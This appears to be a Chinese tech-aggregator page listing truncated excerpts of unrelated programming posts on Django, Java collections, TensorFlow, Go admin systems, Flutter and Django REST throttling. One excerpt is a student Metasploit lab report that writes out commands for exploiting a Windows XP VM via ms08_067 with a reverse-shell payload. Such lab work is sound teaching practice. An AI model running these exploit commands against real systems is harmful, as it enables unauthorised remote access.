Framework

Django序列化&django REST framework

百般思念 提交于 2021-01-14 04:03:21
第一章、Django序列化操作 1.django的view实现商品列表页 ( 基于View类 ) # 通过json来序列化,但手写字典key代码量较大,容易出错;还有遇到时间,图片序列化会报错 from goods.base_views import Goodslistview url(r ' ^goods/$ ' ,Goodslistview.as_view(),name= ' goods_list ' ), urls.py from datetime import datetime from django.db import models from DjangoUeditor.models import UEditorField class Goods(models.Model): """ 商品 """ category = models.ForeignKey(GoodsCategory, verbose_name= " 商品类目 " ) goods_sn = models.CharField(max_length=50, default= "" , verbose_name= " 商品唯一货号 " ) name = models.CharField(max_length=100, verbose_name= " 商品名 " ) click_num = models

Java容器(List、Set、Map)知识点快速复习手册(上)

北战南征 提交于 2021-01-13 23:03:12
前言 本文快速回顾了Java中容器的知识点,用作面试复习,事半功倍。 上篇:主要为容器概览,容器中用到的设计模式,List源码 中篇:Map源码 下篇:Set源码,容器总结 其它知识点复习手册 Java基础知识点面试手册(上) Java基础知识点面试手册(下) 概览 容器主要包括 Collection 和 Map 两种,Collection 又包含了 List、Set 以及 Queue。 Collection 数组和集合的区别: 长度 数组的长度固定 集合的长度可变 内容 数组存储的是同一种类型的元素 集合可以存储不同类型的元素(但是一般我们不这样干..) 元素的数据类型 数组可以存储基本数据类型,也可以存储引用类型 集合只能存储引用类型(若存储的是简单的int,它会自动装箱成Integer) 1. Set(元素不可重复) HashSet:基于HashMap实现,支持快速查找,但不支持有序性操作。 TreeSet:基于红黑树实现,支持有序性操作,但是查找效率不如 HashSet,HashSet 查找时间复杂度为 O(1),TreeSet 则为 O(logN); LinkedHashSet:具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序。 2. List(有序(存储顺序和取出顺序一致),可重复) ArrayList:基于动态数组实现,支持随机访问; Vector

TensorFlow C++接口编译和使用

风流意气都作罢 提交于 2021-01-13 20:01:55
部分内容from: Tensorflow C++ 从训练到部署(1):环境搭建 在之前的编译中,已经编译好了tensorflow_pkg相关的wheel。现在有一个需求,需要按照C++的代码进行模型加载和训练。查询资料后发现,需要重新编译一套TensorFlow支持的C++接口,主要是编译出来libtensorflow_cc.so和libtensorflow_framework.so这两个文件。 bazel build -c opt --copt=-mavx --copt=-msse4.2 --config=monolithic // tensorflow:libtensorflow_cc.so bazel build -c opt --copt=-mavx --copt=-msse4.2 --config=monolithic // tensorflow:libtensorflow_framework.so 像这种严格与机器相关的选项,虽然可以加快执行速度,但是在使用之前一定要查明自己的目标机器是否适合。 中间可能会遇到之前的一些问题,功查找https://www.cnblogs.com/jourluohua/p/9180709.html 编译完成后,安装第三方库 source tensorflow/contrib/makefile/build_all_linux. sh 若出现

20164301 Exp5 MSF基础应用

爷,独闯天下 提交于 2021-01-13 09:35:54
Exp5 MSF基础应用 1. 实践内容 1.1一个主动攻击实践,如ms08_067,smb_delivery(唯一) 1.2 一个针对浏览器的攻击,如ms10_046; 1.3 一个针对客户端的攻击,如Adobe; 1.4 成功应用任何一个辅助模块。gather/browser_info(唯一) 2. 报告内容 一个主动攻击实践,如ms08_067,smb_delivery (1)ms08_067 攻击机:Linux 靶机:Windows XP sp3 1.进入到/usr/share/metasploit-framework/modules/exploits/windows/smb路径下,查看可利用的漏洞 Linux的IP地址192.168.132.130 靶机IP地址192.168.132.131 2. msf > use exploit/windows/smb/ms08_067_netapi//使用ms08_067漏洞 msf exploit(ms08_067_netapi) > show payloads//显示回连攻击载荷 msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 192.168.132.130

Golang 根据Gorm和Gin开发一个后台管理系统

回眸只為那壹抹淺笑 提交于 2021-01-13 08:24:33
\\\\\\\\\\\ English | 简体中文 Project Guidelines Web UI Framework:element-ui Server Framework:gin Grom Framework: gorm 1. Basic Introduction 1.1 Project structure │ ├─conf (Config file) │ ├─docs (swagger APIs docs) │ ├─log (log file) │ ├─public (public static file) │ ├─static (head icon) ├─src │ ├─controller (Controller) │ ├─middleware (Middleware) │ ├─models (Model entity) │ ├─pkg (Project private package) │ ├─adapter (Casbin adapter) │ ├─app (Gin service response) │ ├─codes (Response code) │ ├─error (Project private error) │ ├─gredis (Redis) │ ├─query (Songo parase to SQL line) │ ├─setting

Golang 根据Gorm和Gin开发一个后台管理系统

眉间皱痕 提交于 2021-01-13 07:50:42
\\\\\\\\\\\ 项目后端地址: https://github .com/olongfen/gorm-gin-admin 项目前端地址: https://github.com/olongfen/user_admin 项目指导文档 Web UI Framework:element-ui Server Framework:gin Grom Framework: gorm 1. 基本介绍 1.1 项目结构 │ ├─conf (Config file) │ ├─docs (swagger APIs docs) │ ├─log (log file) │ ├─public (public static file) │ ├─static (head icon) ├─src │ ├─controller (Controller) │ ├─middleware (Middleware) │ ├─models (Model entity) │ ├─pkg (Project private package) │ ├─adapter (Casbin adapter) │ ├─app (Gin service response) │ ├─codes (Response code) │ ├─error (Project private error) │ ├─gredis (Redis) │ ├

Flutter 性能优化系列之打造高性能 widget

拈花ヽ惹草 提交于 2021-01-13 06:50:07
“ 本文是 Flutter 性能优化系列文章之一,记录了 Flutter 团队优化 Flutter Gallery 的实践。本文主要介绍了如何打造高性能的 widget。原文链接:https://medium.com/flutter/building-performant-flutter-widgets-3b2558aa08fa ” 所有无状态和有状态 widget 都会实现 build() 方法,这个方法决定了它们是如何渲染的。app 中的一屏就可能有成百上千个部件,这些部件可能只会构建一次,或者在有动画或者某种特定的交互情况下,也有可能构建多次。如果想构建快速的 widget,你一定要很谨慎地选择构建哪些 widget,以及在什么时候构建。 这篇文章主要讨论只构建必要的和只在必要时构建,然后会分享我们是如何使用这个办法来显著提高 Flutter Gallery 的性能。我们还会分享一些高级技巧用于诊断你的 web app 中类似的问题。 只在必要时构建 — 一个重要的优化方法是,只在绝对必要时才构建 widget。 谨慎地调用 setState() 调用 setState 方法会引起 build() 方法调用。如果调用太多次,会使性能变慢。 看一下下面的动画,显示在前面的黑色 widget 向下滑动,露出后面类似棋盘的面板,类似于 bottom sheet [1] 的行为

Django rest framework源码分析(3)----节流

偶尔善良 提交于 2021-01-13 03:48:20
目录 Django rest framework(1)----认证 Django rest framework(2)----权限 Django rest framework(3)----节流 Django rest framework(4)----版本 Django rest framework(5)----解析器 Django rest framework(6)----序列化 Django rest framework(7)----分页 添加节流 自定义节流的方法 限制60s内只能访问3次 (1)API文件夹下面新建throttle.py,代码如下: # utils/throttle.py from rest_framework.throttling import BaseThrottle import time VISIT_RECORD = {} # 保存访问记录 class VisitThrottle(BaseThrottle): ''' 60s内只能访问3次 ''' def __init__ (self): self.history = None # 初始化访问记录 def allow_request(self,request,view): # 获取用户ip (get_ident) remote_addr = self.get_ident(request) ctime =

人生苦短,我用Python

。_饼干妹妹 提交于 2021-01-13 00:37:51
目录 python基本数据类型 文件处理 函数 模块和包 异常处理 常用模块 面向对象 网络编程 并发编程 MySQL数据库 前端 VUE Django框架 权限管理 rest-framework linux基础 Git Redis Flask框架 爬虫 其他 python基本数据类型 【第一篇】 Python基础 之 变量、用户交互、if条件语句、while循环语句、编码、逻辑运算 【第二篇】 Python基础 之 int、bool、str、列表、元组、字典 【第三篇】 Python基础三 【第四篇】 思维导图 函数 【第一篇】 初始函数 【第二篇】 函数装饰器 【第三篇】 迭代器,生成器 【第四篇】 内置函数、匿名函数 【第五篇】 递归函数 【第六篇】 函数思维导图 【第七篇】 内置函数思维导图 常用模块 【第一篇】 正则表达式 【第二篇】 Python中常用模块一 【第三篇】 Python中常用模块二 【第四篇】 python常用uuid模块 【第五篇】 requests模块 【第六篇】 BeautifulSoup模块 【第五篇】 模块思维导图 面向对象 【第一篇】 初识面向对象 【第二篇】 面向对象的三大特性 【第三篇】 面向对象property属性、静态方法和类方法 【第四篇】 面向对象的进阶 【第五篇】 浅谈面向对象的认识 【第五篇】 面向对象思维导图 网络编程

零基础也能看得懂!Flutter全方位深入探索,已拿到offer

≡放荡痞女 提交于 2021-01-10 21:45:57
前言 众所周知,Android是一个基于Linux实现的操作系统。但对于Linux内核来说,Android也仅仅只是一个运行在内核之上的应用程序,与其他运行在内核之上的应用程序没有任何区别。 所以Android也需要运行环境,需要Linux内核在启动完成后加载Android Framework运行所需要的资源。当Framework完成初始化后才能继续启动相应的APK应用程序。 Framework这么重要,那我们该如何学习呢? 关于如何学习Android Framework开发知识,最近有幸在前阿里技术总监手里扒到这份Android framework高级开发笔记,部分知识章节发布到了在知乎上竟然1000+点赞,今天就拿出来分享给大家。 本笔记讲解了Framework的主要模块,从环境的部署到技术的应用,再到项目实战,让我们不仅是学习框架技术的使用,而且可以学习到使用架构如何解决实际的问题,由浅入深,详细解析Framework,让你简单高效学完这块知识! 一般官网或者猎聘网的职位要求都写的很清楚,大家对照看一下就大体清楚能否胜任了。就算没成功也能发现自己的不足然后补上挺好的。 OPPO这些大点的厂子, 对java语言,源码层,项目经验等都看到很重。需要有比较系统的知识体系,懂原理会自己手写源码等 这里简单跟大家分享一下我这次面试经历吧,希望给那些准备跳槽的朋友一个参考 Oppo一面: